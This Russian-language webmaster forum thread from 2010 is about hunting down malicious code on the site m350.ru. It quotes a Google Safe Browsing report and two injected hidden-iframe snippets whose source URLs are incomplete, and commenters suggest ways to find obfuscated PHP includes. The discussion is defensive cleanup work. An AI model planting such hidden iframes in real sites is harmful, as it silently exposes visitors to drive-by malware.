Конкурс на срочный поиск вредоносного кода на сайте - 5000 р.

Страница диагностики для m350.ru

Занесен ли сайт m350.ru в список подозрительных веб-сайтов?

В данный момент этот сайт не занесен в список подозрительных веб-сайтов.

Что произошло во время последнего просмотра этого сайта компанией Google?

Из протестированных нами за последние 90 дней страниц данного сайта (2) в загрузке и установке вредоносного программного обеспечения без разрешения пользователя было замечено 0. Последний раз сайт просматривался Google 2010-10-15, и подозрительное содержание ни разу не было обнаружено на этом сайте за прошедшие 90 дней.

This site was hosted on 2 network(s) including AS8342 (RTCOMM), AS42244 (CONSULT).

Был ли данный сайт промежуточным звеном в дальнейшем распространении вредоносного ПО?

По всей видимости, за последние 90 дней сайт m350.ru не был промежуточным звеном в заражении других сайтов.

Размещается ли на этом сайте вредоносное программное обеспечение?

Нет. За последние 90 дней на этом сайте не размещалось вредоносное программное обеспечение.

Нет там у вас ничего. Вообще, можно исходники посмотреть, возможно код при условии каком-нибудь выводится.

Для более детального анализа естественно нужно хирургическое вмешательство.

Но мое мнение - все чисто. Яша уже проделывал подобный фокус с несколькими моими сайтами, а позже снимал все уведомления (правда не принося извинений за ложную инфу):D

Ну да бог ему судья.

а это что за бип-ня?...

на странице http://m350.ru/price/

<div class="navigation2"><iframe src=";onpage=cleaner&e=http" style="display:none"></iframe>

чистить немедленно. такого признака может быть достаточно для занесения в блек.

Upd: похоже вас довольно умно затроянили, при рефреше код пропадает.

если нужно, помогу найти и вычистить этот код с сайта.

Умно. А в коде чисто. Типа - ударил и спрятался.

мы видим только, то что скрипт отдает браузеру, а вот сам пхп скрипт и условий по которым вредоносный код может появиться мы не видим. достаточно одного какого-то затрояненного плагина к цмс-ке, чтобы испортить жизнь сайта надолго.

На base64 и прочие методы кодирования проверяли?

На странице http://m350.ru/articles/more/v/id/3/ 16.10.2010

iframe поставлен:

<iframe src=";pool=hidden&period=cleaner&str=disabled&php=4&done=get" style="display:none"></iframe>

Либо инклудится из php (стороннего), либо прописан в java (может быть зашифрован)

1. Искать подгружаемые файлы (include, require и т.д.)

2. Искать в коде по "http"

3. Искать все java-скрипты

upd: на сайтике стоит эксплоит, фильтрует по ip - больше 1 раза на машину он не прогрузится

Искать по дате изменения файлов, если файл(скрипт) недавно правился.

изменить дату/время файла - всего лишь одна команда.

1. Искать подгружаемые файлы (include, require и т.д.)

ну это понятно. возможен еще вариант, когда все свои скрипты действительно абсолютно чистые, а вот хостинг - не совсем. это редкий случай, но встречался и с таким тоже

2. Искать в коде по "http"

лучше искать co.cc или iframe или куски доменов, что приведены выше.

хотя... простейший самописный кодировщик скроет все это, не говоря про тривиальный base64, uuencode и прочее..

3. Искать все java-скрипты

ява-скрипты тут не при чем, т.к. в данном случае контент отдается пхп скриптом.